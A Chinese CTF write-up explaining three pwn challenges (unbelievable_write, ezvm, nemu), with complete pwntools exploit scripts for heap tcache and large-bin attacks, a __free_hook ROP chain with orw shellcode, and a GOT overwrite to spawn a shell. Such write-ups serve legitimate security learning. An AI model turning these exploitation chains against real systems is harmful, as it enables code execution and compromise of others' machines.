比赛的时候只做出来一道(😭)

unbelievable_write

控制tcache struct以后改chunk size造large bin,然后做large bin attack改target

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
from pwn import*
context(os='linux', arch='amd64', log_level='debug')

elf = ELF('./pwn')

def debug(s=None):
if(s==None):
gdb.attach(r)
else:
gdb.attach(r,s)
pause()

def c1(sz, ct):
r.sendlineafter('> ', str(1))
sleep(ti)
r.sendline(str(sz))
sleep(ti)
r.send(ct)

def c2(off):
r.sendlineafter('> ', str(2))
sleep(ti)
r.sendline(str(off))

# debug('b *0x4013A8')
# 0x405000

def PWN():

c1(0xa8, b'B'*0x28+p64(0xb1)+b'\n')
c1(0x390, b'\n')
c1(0x3a0, b'A'*0x150+p64(0)+p64(0x21)+b'\n')
c1(0x3b0, b'\n')
c1(0xb8, b'C'*0x28+p64(0xc1)+b'\n')
c1(0x3d0, b'\n')
c1(0x3e0, b'A'*0x350+p64(0)+p64(0x91)+b'\n')
c1(0x3f0, b'\n')
c1(0x400, b'\n')
c1(0x20, b'\n')
c2(-0x290)

struct = b''
struct+= p64(0)*2
struct+= p64(0x0000000000070000)
struct+= p64(0)*6
struct+= p64(0x0001000000000000)
struct+= p64(0)*4
struct+= p64(0x0007000700070007)
struct+= p64(0x0000000700070007)
struct+= p64(0)*9
struct+= p8(0xf0)
c1(0x280, struct+b'\n')


c1(0xa8, p64(0)*15+p64(0x751)+b'\n')
c1(0x390, b'X'*0x30+b'\n')
c1(0xfff, b'\n')

struct = b''
struct+= p64(0)*2
struct+= p64(0x0000000700070000)
struct+= p64(0)*6
struct+= p64(0x0001000000000000)
struct+= p64(0)*4
struct+= p64(0x0007000700070007)
struct+= p64(0x0007000700070007)
struct+= p64(0)*9
struct+= p64(0)
struct+= p8(0xb0)
c1(0x280, struct+b'\n')

c1(0xb8, b'\x00'*0x88+p64(0x741)+b'\n')
c1(0x3d0, b'\n')

struct = b''
struct+= p64(0)*2
struct+= p64(0x0000000000000000)
struct+= p64(0)*6
struct+= p64(0x0001000000000000)
struct+= p64(0)*4
struct+= p64(0x0007000700070007)
struct+= p64(0x0007000700070007)
struct+= b'\x00'*0x1c8
struct+= p16(0x52f0)
c1(0x280, struct+b'\n')

target=0x404080
c1(0x3a0, b'\x00'*0x78+p64(0x751)+p64(0x4040f0)*3+p64(target-0x20)+b'\n')

c1(0xfff, b'\n')
r.recv()
r.sendline('3')
try:
s = r.recv(timeout=1)
except:
exit()
else:
pass

print (s)
# debug()
# ptr: 0x4040D0
# target : 0x404080



i = 0
while True:
i+=1
print (i)
# r = remote('119.23.255.127',30075)
r = process('./pwn')
ti = 0.1
try:
PWN()
except:
r.close()
continue
else:
r.interactive()
break

看到比较简单的非预期解是直接改掉free的got表,确实简单很多

另一种思路

出题人给了另一种思路,利用stdio未初始化,第一次执行puts会申请0x1000的缓冲区输入内容,从而完成对target的覆盖

具体来说是先申请0x1000的chunk,内容全部填上target-8
然后控制tcache结构体,个数位置都写上1,申请地址到mp_上,把mp_.tcache_bins改成一个大数,从而当申请0x1000的chunk时会从tcache上拿。再配合上上面说的在堆上布置一堆target-8,就会从这里拿出chunk了

puts->_IO_file_xsputn->_IO_file_overflow,发现没有缓冲区(f->_IO_write_base == NULL),于是调用_IO_doallocbuf申请(实际上是调用_IO_file_jumps+0x68处的_IO_file_doallocate)
_IO_file_doallocate首先调用_IO_file_stat(_IO_file_jumps+0x90),然后malloc(0x1000),最后_IO_setb设置fp->_flags和写入_IO_buf_base_IO_buf_end,后续会设置好stdout结构体
最后ch==EOF退出

之后还是在_IO_file_xsputn中往下走,进入_IO_default_xsputn,内部是一个循环,会调用_IO_file_overflow实现逐字节向缓冲区输入内容

而后回到puts,调用_IO_file_overflow,有意思的是知道puts输出字符串会自带回车,发现就是在这里,在进入_IO_do_write之前会先向缓冲区补一个回车,_IO_do_write函数会调用函数指针_IO_file_write(_IO_file_jump+0x78),最终将使用write将缓冲区的内容输出到标准输出

_IO_file_overflow源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
int
_IO_new_file_overflow (FILE *f, int ch)
{
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
/* If currently reading or no buffer allocated. */
/* 没有申请缓冲区时进入这里*/
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
{
/* Allocate a buffer if needed. */
if (f->_IO_write_base == NULL)
{
_IO_doallocbuf (f);
_IO_setg (f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base);
}
/* Otherwise must be currently reading.
If _IO_read_ptr (and hence also _IO_read_end) is at the buffer end,
logically slide the buffer forwards one block (by setting the
read pointers to all point at the beginning of the block). This
makes room for subsequent output.
Otherwise, set the read pointers to _IO_read_end (leaving that
alone, so it can continue to correspond to the external position). */
if (__glibc_unlikely (_IO_in_backup (f)))
{
size_t nbackup = f->_IO_read_end - f->_IO_read_ptr;
_IO_free_backup_area (f);
f->_IO_read_base -= MIN (nbackup,
f->_IO_read_base - f->_IO_buf_base);
f->_IO_read_ptr = f->_IO_read_base;
}

if (f->_IO_read_ptr == f->_IO_buf_end)
f->_IO_read_end = f->_IO_read_ptr = f->_IO_buf_base;
f->_IO_write_ptr = f->_IO_read_ptr;
f->_IO_write_base = f->_IO_write_ptr;
f->_IO_write_end = f->_IO_buf_end;
f->_IO_read_base = f->_IO_read_ptr = f->_IO_read_end;

f->_flags |= _IO_CURRENTLY_PUTTING;
if (f->_mode <= 0 && f->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
f->_IO_write_end = f->_IO_write_ptr;
}
if (ch == EOF)
return _IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base);
if (f->_IO_write_ptr == f->_IO_buf_end ) /* Buffer is really full */
if (_IO_do_flush (f) == EOF)
return EOF;

/*
进入这里进行写操作
f->_IO_write_ptr指向将要写入的地址
写入ch
然后校验一下flags
返回ch
*/
*f->_IO_write_ptr++ = ch;
if ((f->_flags & _IO_UNBUFFERED)
|| ((f->_flags & _IO_LINE_BUF) && ch == '\n'))
if (_IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base) == EOF)
return EOF;
return (unsigned char) ch;
}
libc_hidden_ver (_IO_new_file_overflow, _IO_file_overflow)

ezvm

之前没有接触过unicorn
在james詹爹的陪伴下稍微了解了unicorn相关的知识赛后做出了这题(不过花了挺长时间的=-=)
汇编也写的挺拉的
不过感觉还挺有意思的

题目

题目是用unicorn引擎模拟了x86架构,输入的指令被执行

uc_hook_add注册hook事件回调,当hook事件被触发时进行回调

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
uc_err uc_hook_add(uc_engine *uc, uc_hook *hh, int type, void *callback,
void *user_data, uint64_t begin, uint64_t end, ...);
/*
@uc: uc_open() 返回的句柄
@hh: 注册hook得到的句柄. uc_hook_del() 中使用
@type: hook 类型
@callback: 当指令被命中时要运行的回调
@user_data: 用户自定义数据. 将被传递给回调函数的最后一个参数 @user_data
@begin: 回调生效区域的起始地址(包括)
@end: 回调生效区域的结束地址(包括)
注意 1: 只有回调的地址在[@begin, @end]中才会调用回调
注意 2: 如果 @begin > @end, 每当触发此hook类型时都会调用回调
@...: 变量参数 (取决于 @type)
注意: 如果 @type = UC_HOOK_INSN, 这里是指令ID (如: UC_X86_INS_OUT)

@return 成功则返回UC_ERR_OK , 否则返回 uc_err 枚举的其他错误类型
*/

hook类型参数定义如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
typedef enum uc_hook_type {
// Hook 所有中断/syscall 事件
UC_HOOK_INTR = 1 << 0,
// Hook 一条特定的指令 - 只支持非常小的指令子集
UC_HOOK_INSN = 1 << 1,
// Hook 一段代码
UC_HOOK_CODE = 1 << 2,
// Hook 基本块
UC_HOOK_BLOCK = 1 << 3,
// 用于在未映射的内存上读取内存的Hook
UC_HOOK_MEM_READ_UNMAPPED = 1 << 4,
// Hook 无效的内存写事件
UC_HOOK_MEM_WRITE_UNMAPPED = 1 << 5,
// Hook 执行事件的无效内存
UC_HOOK_MEM_FETCH_UNMAPPED = 1 << 6,
// Hook 读保护的内存
UC_HOOK_MEM_READ_PROT = 1 << 7,
// Hook 写保护的内存
UC_HOOK_MEM_WRITE_PROT = 1 << 8,
// Hook 不可执行内存上的内存
UC_HOOK_MEM_FETCH_PROT = 1 << 9,
// Hook 内存读取事件
UC_HOOK_MEM_READ = 1 << 10,
// Hook 内存写入事件
UC_HOOK_MEM_WRITE = 1 << 11,
// Hook 内存获取执行事件
UC_HOOK_MEM_FETCH = 1 << 12,
// Hook 内存读取事件,只允许能成功访问的地址
// 成功读取后将触发回调
UC_HOOK_MEM_READ_AFTER = 1 << 13,
// Hook 无效指令异常
UC_HOOK_INSN_INVALID = 1 << 14,
} uc_hook_type;

题目中注册回调

1
uc_hook_add(v8, v9, 2LL, menu, 0LL, 1LL, 0LL, 699LL);

对应UC_HOOK_INSN,从函数定义可以看到699即对应指令ID(这里想了半天是啥。。因为一开始用的是IDA7.5没识别到这个参数还懵逼了好久……)

查看[定义][https://github.com/unicorn-engine/unicorn/blob/master/include/unicorn/x86.h] 发现对应指令syscall

进入回调函数
uc_reg_read是从模拟的寄存器取值
uc_reg_write是向模拟的寄存器写值,本程序内用来保存返回值
uc_mem_read是从模拟空间读取数据到内部
uc_mem_write是从内部往模拟空间写数据
uc_mem_readuc_mem_write进行读写操作时都会使用calloc申请chunk作为缓冲区

内部有点像文件系统,开头有三个文件stdinstdoutstderr
类似菜单题实现了四个功能

  • 0对应read,将内部虚拟文件指定字节数的内容读到模拟空间,如果选0,1,2会执行read
  • 1对应write,将模拟空间内的数据读到内部虚拟的文件中(其实就是个chunk),选前三个执行write
  • 2对应open,新建一个虚拟的文件,限制最多15个(包括012),使用malloc申请一个chunk,将name文件名写上,布置上三个函数指针,写上size。size不超过0x400,如果满了或者虚拟文件名重复了则直接返回。
  • 3对应close,释放新建虚拟文件时申请的chunk,选前三个会执行close()

一个虚拟的文件对应的结构体大致如下

1
2
3
4
5
6
7
8
9
struct VFile{
__int64 fd;
char name[0x18];
char *file_space;
__int64 size;
void *read;
void *write;
void *close;
}

思路

观察open操作中

1
2
3
4
5
6
7
8
9
v6 = &stru_5020 + j;
v6->file_space = malloc(size);
strcpy(v6->name, a1);
v6->read = choice_1;
v6->write = choice_0;
v6->close = choice_3;
v6->id = j;
++time_limit;
v6->size = size;

在写入虚拟文件名时使用的是strcpy函数,会发生null byte的溢出,而后面正好是chunk指针
所以可以利用这个漏洞修改tcache的fd

我的思路大概是

  • 改掉tcache的key,造出tcache double free,然后修改指针指到unosrted bin的fd
  • 申请一个较大的chunk(从unsorted bin切割),拿到libc地址,然后改fd指向__free_hook
  • 再进行open即可拿到__free_hook指针
  • 接着向__free_hook写入gadget栈迁移到堆上,因为每次写入都会先calloc然后出来再free掉缓冲区,所以rop链会在作为缓冲区的chunk上执行
  • rop链布置在虚拟空间中,通过mov指令加加减减布置好的
  • 本题开了沙箱禁用execve,所以最后在堆上先mprotect改为rwx,然后调用read读入orw的shellcode,执行完readrsi指向shellcode,所以再call rsi即可完成orw读出flag(也可以写入的时候直接就把shellcode写进去然后ret就行了,但这里因为之前堆风水没做好chunk大小不太够所以就用read读了)

exp

(确实丑陋…)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
from pwn import*
context.os = 'linux'
context.log_level = 'debug'

r = process('./easyvm')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

code2 = """
mov esi, 0xd8
mov edi, 0x401000
mov eax, 2
syscall /*3*/

mov esi, 0xd8
mov edi, 0x401000+0x19*1
mov eax, 2
syscall /*4*/

mov esi, 0x10
mov edi, 0x401000+0x19*2
mov eax, 2
syscall /*5*/

mov esi, 0x10
mov edi, 0x401000+0x19*3
mov eax, 2
syscall /*6*/

mov esi, 0x10
mov edi, 0x401000+0x19*4
mov eax, 2
syscall /*7*/

mov esi, 0x100
mov edi, 0x401000+0x19*5
mov eax, 2
syscall /*8*/

mov esi, 0xd8
mov edi, 0x401000+0x19*6
mov eax, 2
syscall /*9*/

mov esi, 0xd8
mov edi, 0x401000+0x19*7
mov eax, 2
syscall /*10*/

mov esi, 0xd8
mov edi, 0x401000+0x19*8
mov eax, 2
syscall /*11*/

/*delete 9, 10, 11, 3*/
mov edi, 9
mov eax, 3
syscall
mov edi, 9
add edi, 1
mov eax, 3
syscall
mov edi, 3
mov eax, 3
syscall
mov edi, 11
mov eax, 3
syscall

/*change tcach pointer*/
mov edi, 4
mov esi, 0x401000+0x19*9
mov edx, 0x10
mov eax, 1
syscall

/*double free, delete 4*/
mov edi, 4
mov eax, 3
syscall

/*add back*/
mov esi, 0xd8
mov edi, 0x401000
mov eax, 2
syscall /*3*/

/*overwrite 3's fd*/
mov edi, 3
mov edx, 0x2
mov esi, 0x401000+0x19*9+0x10
mov eax, 1
syscall

mov esi, 0xa0
mov edi, 0x401000+0x19*8+0x50+0x19
mov eax, 2
syscall /*4*/

/*read libc_base to 0x402000*/
mov edi, 4
mov esi, 0x402000
mov edx, 0x20
mov eax, 0
syscall

/*calc libc_base and all gadget*/
mov esi, 0x402000
mov ecx, esi
mov edx, DWORD PTR [esi]
mov ecx, 0x1ed130
sub edx, ecx
mov DWORD PTR [esi], edx

/*calc heap base*/
mov edx, DWORD PTR [esi+0x10]
sub edx, 0x35fa0
mov DWORD PTR [esi+0x10], edx
mov eax, DWORD PTR [esi+0x10]
mov ebx, DWORD PTR [esi+0x14]
mov DWORD PTR [esi+0x108], eax
mov DWORD PTR [esi+0x108+4], ebx

mov ebx, DWORD PTR [esi] /*libc last 4 byte*/
mov ecx, DWORD PTR [esi+4] /*libc first 4 byte*/

add esi, 0x8

xor eax, eax
loop:
mov DWORD PTR [esi+0x8*eax+0x4*0], ebx
mov DWORD PTR [esi+0x8*eax+0x4*1], ecx
add eax, 1
cmp eax, 9
jle loop
/*calc down*/

sub esi, 8
/*replace gadget*/
mov ebx, DWORD PTR [esi+0x8*7+0x4*0]
mov ecx, ebx
add ecx, 0x23b72 /*prdi_r*/
mov DWORD PTR [esi], ecx

add esi, 8
mov ecx, ebx
add ecx, 0x2604f /*prsi_r*/
mov DWORD PTR [esi], ecx

add esi, 8
mov ecx, ebx
add ecx, 0x119241/*prdx_pr12_r*/
mov DWORD PTR [esi], ecx

add esi, 8
mov ecx, ebx
add ecx, 0x630d9 /*sys_r*/
mov DWORD PTR [esi], ecx

add esi, 8
mov ecx, ebx
add ecx, 0x154d0b /*gadget*/
sub ecx, 1
mov DWORD PTR [esi], ecx

add esi, 8
mov ecx, ebx
add ecx, 0x1eee48 /*free_hook*/
mov DWORD PTR [esi], ecx

add esi, 8
mov ecx, ebx
add ecx, 0x47400 /*prax_r*/
mov DWORD PTR [esi], ecx

add esi, 8
mov ecx, ebx
add ecx, 0x578f8 /*leave_ret*/
mov DWORD PTR [esi], ecx

add esi, 8
mov ecx, ebx
add ecx, 0x23b70 /*prsi_pr15_ret*/
mov DWORD PTR [esi], ecx

add esi, 8
mov ecx, ebx
add ecx, 0x62599 /*p3_r*/
mov DWORD PTR [esi], ecx

/*prepare rop*/
mov esi, 0x402000
mov ecx, DWORD PTR [esi+0x20]
mov edx, DWORD PTR [esi+0x20+4]
mov DWORD PTR [esi+0x100], ecx
mov DWORD PTR [esi+0x100+4], edx

/*calc_heap*/
mov ecx, DWORD PTR [esi+0x108]
add ecx, 0x360b0
mov DWORD PTR [esi+0x108], ecx

/*place address*/
mov eax, DWORD PTR [esi+0x108]
mov ebx, DWORD PTR [esi+0x108+4]
mov DWORD PTR [esi+0x118], eax
mov DWORD PTR [esi+0x118+4], ebx
mov DWORD PTR [esi+0x148], eax
mov DWORD PTR [esi+0x148+4], ebx

/*leave ret*/
mov eax, DWORD PTR [esi+0x38]
mov ebx, DWORD PTR [esi+0x38+4]
mov DWORD PTR [esi+0x128], eax
mov DWORD PTR [esi+0x128+4], ebx

mov eax, DWORD PTR [esi+0x10]
mov ebx, DWORD PTR [esi+0x10+4]
mov DWORD PTR [esi+0x108], eax
mov DWORD PTR [esi+0x108+4], ebx

mov eax, DWORD PTR [esi]
mov ebx, DWORD PTR [esi+4]
mov DWORD PTR [esi+0x120], eax
mov DWORD PTR [esi+0x120+4], ebx

mov eax, DWORD PTR [esi]
mov ebx, DWORD PTR [esi+4]
mov DWORD PTR [esi+0x130], eax
mov DWORD PTR [esi+0x130+4], ebx


mov eax, DWORD PTR [esi+0x118]
mov ebx, DWORD PTR [esi+0x118+4]
sub eax, 0xb0
mov DWORD PTR [esi+0x138], eax
mov DWORD PTR [esi+0x138+4], ebx

mov eax, DWORD PTR [esi+0x8]
mov ebx, DWORD PTR [esi+0x8+4]
mov DWORD PTR [esi+0x140], eax
mov DWORD PTR [esi+0x140+4], ebx

mov eax, DWORD PTR [esi+0x8]
mov ebx, DWORD PTR [esi+0x8+4]
mov DWORD PTR [esi+0x150], eax
mov DWORD PTR [esi+0x150+4], ebx

mov DWORD PTR [esi+0x158], 0x2000

mov eax, DWORD PTR [esi+0x10]
mov ebx, DWORD PTR [esi+0x10+4]
mov DWORD PTR [esi+0x160], eax
mov DWORD PTR [esi+0x160+4], ebx

mov DWORD PTR [esi+0x168], 7

mov eax, DWORD PTR [esi+0x30]
mov ebx, DWORD PTR [esi+0x30+4]
mov DWORD PTR [esi+0x178], eax
mov DWORD PTR [esi+0x178+4], ebx

mov eax, 0x9
add eax, 1
mov DWORD PTR [esi+0x180], eax

mov eax, DWORD PTR [esi+0x18]
mov ebx, DWORD PTR [esi+0x18+4]
mov DWORD PTR [esi+0x188], eax
mov DWORD PTR [esi+0x188+4], ebx

mov eax, DWORD PTR [esi]
mov ebx, DWORD PTR [esi+4]
mov DWORD PTR [esi+0x190], eax
mov DWORD PTR [esi+0x190+4], ebx

mov DWORD PTR [esi+0x198], 0

/*prsi*/
mov eax, DWORD PTR [esi+0x8]
mov ebx, DWORD PTR [esi+0x8+4]
mov DWORD PTR [esi+0x1a0], eax
mov DWORD PTR [esi+0x1a0+4], ebx

mov eax, DWORD PTR [esi+0x118]
mov ebx, DWORD PTR [esi+0x118+4]
mov DWORD PTR [esi+0x1a8], eax
mov DWORD PTR [esi+0x1a8+4], ebx

mov eax, DWORD PTR [esi+0x10]
mov ebx, DWORD PTR [esi+0x10+4]
mov DWORD PTR [esi+0x1b0], eax
mov DWORD PTR [esi+0x1b0+4], ebx

mov eax, DWORD PTR [esi+0x18]
mov ebx, DWORD PTR [esi+0x18+4]
mov DWORD PTR [esi+0x1c8], eax
mov DWORD PTR [esi+0x1c8+4], ebx

mov DWORD PTR [esi+0x1b8], 0x200

mov eax, DWORD PTR [esi]
mov ebx, DWORD PTR [esi+4]
sub eax, 0x23b72
add eax, 0x10d60d
mov DWORD PTR [esi+0x1d0], eax
mov DWORD PTR [esi+0x1d0+4], ebx
/*end rop*/


/*overwrite 4's fd -> __free_hook*/
mov edi, 4
mov edx, 0x8
mov esi, 0x402028
mov eax, 1
syscall

/*add back*/
mov edi, 0x400000+0x114a
mov esi, 0xd8
mov eax, 2
syscall /*9*/

/*add back*/
mov esi, 0xd8
mov edi, 0x400000+0x114a+0x19*1 /*L*/
mov eax, 2
syscall /*10*/

/*add back*/
mov esi, 0xd8
mov edi, 0x400000+0x114a+0x19*2 /*M*/
mov eax, 2
syscall /*11*/

/*add back*/
mov esi, 0xd8
mov edi, 0x400000+0x114a+0x19*3 /*N*/
mov eax, 2
syscall /*12*/

/*overwrite __free_hook -> orw_gadget*/
mov edi, 12
push 0x2100
pop edx
mov esi, 4
shl esi, 20 /*0x400000*/
add esi, edx
mov edx, 0xd8
mov eax, 1
syscall
"""

# 0x7ffff744d930
#b *(0x555555554000+0x176D)\n'+\
#'b *(0x555555554000+0x16f8)\n'
# b *(0x555555554000+0x17C8)
# 0x2042
# gdb.attach(r, 'b *0x00007ffff744dd0a')

r.recv()
msg = (asm(code2, arch='i386').ljust(0x1000, b"\x00") \
+b"A"*0x19 \
+b"B"*0x19 \
+b"C"*0x19 \
+b"D"*0x19 \
+b"E"*0x19 \
+b"F"*0x17+b"\x00\x00" \
+b"G"*0x17+b"\x00\x00" \
+b"H"*0x17+b"\x00\x00" \
+b"I"*0x17+b"\x00\x00" \
+p64(0)*2 \
+p64(0xffb0)+p64(0x56a0)\
+p64(0)+p64(0)*5 \
+b"J"*0x17+b"\x00\x00"\
+b"K"*0x17+b"\x00\x00"\
+b"L"*0x17+b"\x00\x00"\
+b"M"*0x17+b"\x00\x00"\
+b"N"*0x17+b"\x00\x00"\
+b"O"*0x17+b"\x00\x00")

r.sendline(msg)

orw = """
push 0x67616c66
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 2
syscall
xor rax, rax
mov rdi, 3
mov rsi, r14
mov rdx, 0x50
syscall
mov rax, 1
mov rdi, 1
mov rsi, r14
mov rdx,0x50
syscall
"""

sleep(0.5)
r.sendline(asm(orw, arch='amd64'))

r.interactive()

后记

  • 观摩了大佬的wp,自己确实写的复杂了点,过程上很多可以简化有些步骤是不必要的(但也懒得改了),比如tcache直接改fd就彳亍了,也不知道为什么当时写的时候还绕了路,南辕北辙的意思了
  • 另外可以利用标准输出和输入计算和布置gadget,把信息读到指定地址,用标准输出输出指定地址的信息,布置gadget的时候可以使用标准输入读到指定地址然后再用程序的write功能写到chunk内,而自己是在汇编里嗯算的就不是那么快速属于…
  • 再后来稍稍优化了一下exp,发现ubuntu20的libc版本从9.2变成9.7了,所以exp中偏移对应的是9.7小版本的libc

nemu

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
[*] '/home/ayoung/pwn/tqlctf/nemu'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled

(nemu) $ help
help
help - Display informations about all supported commands
c - Continue the execution of the program
q - Exit NEMU
si - Execute the step by one
info - Show all the regester' information
x - Show the memory things
p - Show varibeals and numbers
w - Set the watch point
d - Delete the watch point
set - Set memory

题目给了源码
可以看到set功能能够在pmem后任意写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
static int cmd_set(char *args){
paddr_t dest_addr;
uint32_t data;
bool success = false;


if(args == NULL) {
printf("Please input argument\n");
return 0;
}
else{
//split string
char *dest_addr_str = strtok(args, " ");
char *data_str = strtok(NULL, " ");
if( (dest_addr_str==NULL) || (data_str == NULL)){
printf("wrong argument\n");
return 0;
}
dest_addr = expr(dest_addr_str, &success);
if(!success) {
printf("Wrong express!\n");
return 0;
}
data = expr(data_str, &success);
if(!success) {
printf("Wrong express!\n");
return 0;
}
vaddr_write(dest_addr, 4, data);
return 0;
}
}

void vaddr_write(vaddr_t addr, int len, uint32_t data) {
paddr_write(addr, len, data);
}

void paddr_write(paddr_t addr, int len, uint32_t data) {
memcpy(guest_to_host (addr), &data, len);
}

/* convert the guest physical address in the guest program to host virtual address in NEMU */
#define guest_to_host(p) ((void *)(pmem + (unsigned)p))

x能够在peme后任意地址读

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
static int cmd_x(char *args){
if(args == NULL){printf("Please input argument\n"); return 0;}
else{
printf("%-10s\t%-10s\t%-10s\n","Address","DwordBlock","DwordBlock");
char *n_str = strtok(args, " ");
if(!memcmp(n_str,"0x",2)){
long addr = strtol(n_str,NULL,16);
printf("%#010x\t",(uint32_t)addr);
printf("%#010x\n",vaddr_read(addr,4));
}
else{
int n = atoi(n_str);
n_str = strtok(NULL, " ");
long addr = strtol(n_str,NULL, 16);
while(n){
printf("%#010x\t",(uint32_t)addr);
for(int i=1; i<=2; i++){
printf("%#010x\t",vaddr_read(addr,4));
addr += 4;
n--;
if(n == 0) break;
}
printf("\n");
}
}
}
return 0;
}

uint32_t vaddr_read(vaddr_t addr, int len) {
return paddr_read(addr, len);
}

uint32_t paddr_read(paddr_t addr, int len) {
return pmem_rw(addr, uint32_t) & (~0u >> ((4 - len) << 3));
}

#define pmem_rw(addr, type) *(type *)({\
guest_to_host(addr); \
})
#define guest_to_host(p) ((void *)(pmem + (unsigned)p))

命令的读入使用的是readline

1
line_read = readline("(nemu) ");

该库函数会动态分配内存存储字符串

WP结构体

1
2
3
4
5
6
7
8
9
10
typedef struct watchpoint {
int NO;
struct watchpoint *next;

/* TODO: Add more members if necessary */
char exp[30];
uint32_t old_val;
uint32_t new_val;

} WP;

w设置watchpoint时

1
2
3
4
5
...
WP *wp = new_wp();
wp->old_val = val;
memcpy(wp->exp, args, 30);
...

其中args对应刚才readline读入的字符串
可以看到这里memcpy了30字节的内容到exp,而上面提到了readline是动态分配的内存,实际上第一次分配时会从unsorted bin中切割,于是bk指针会被复制到wp->exp

通过任意地址读即可泄露基址

然后考虑如何控制执行流

注意到删除watchpoint时

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
bool delete_watchpoint(int NO){
if (head == NULL) {
printf("There is no watchpoint to delete!");
return false;
}

WP *wp;
if (head->NO == NO) {
wp = head;
head = head->next;
free_wp(wp);
}
...
...

void free_wp(WP* wp){//addr
wp->exp[0] = '\0';
wp->new_val = -1;
wp->next = free_;
free_ = wp;
return;
}

检测到head->NO匹配时,进入free_wp,其中涉及链表操作,将头节点加入空闲链表,执行head->next=free__,所以可以利用这里进行真正意义的任意地址写
可以修改strmcmpgot表为system
再次输入/bin/sh即可getshell

另一种思路

看到nu1l大佬的wp,泄露基址是利用写操作造出一个unsorted bin,然后写入line_read,每次输入命令时会进入rl_gets执行free(line_read)释放之前动态分配的存储命令内容的空间
之后还是利用上面方法将system写入__free_hook,再次输入/bin/sh即可

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
r = process('./nemu')
elf = ELF('./nemu')
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

def cmd(c):
r.recvuntil('(nemu) ')
r.sendline(c)

cmd("help")
cmd("w 1")
cmd("x 0x8000474")
r.recvuntil('0x')
r.recvuntil('0x')
r.recvuntil('0x')
addr2 = int(r.recv(4), 16)
cmd("x 0x8000478")
r.recvuntil('0x')
r.recvuntil('0x')
r.recvuntil('0x')
addr1 = int(r.recv(8), 16)
libc.address = addr1*0x10000+addr2-104-0x10-libc.sym['__malloc_hook']
log.success("libc_addr ==> "+hex(libc.address))

cmd("set 0x8000440 "+str(libc.sym['system']&0xffffffff))
cmd("set 0x8000444 "+\
str((libc.sym['system']&0xffffffff00000000)/0x100000000))
cmd("set 0x8000448 0x60f0e8")
cmd("d 4200070")
cmd("/bin/sh")

# 0x6A3B80

r.interactive()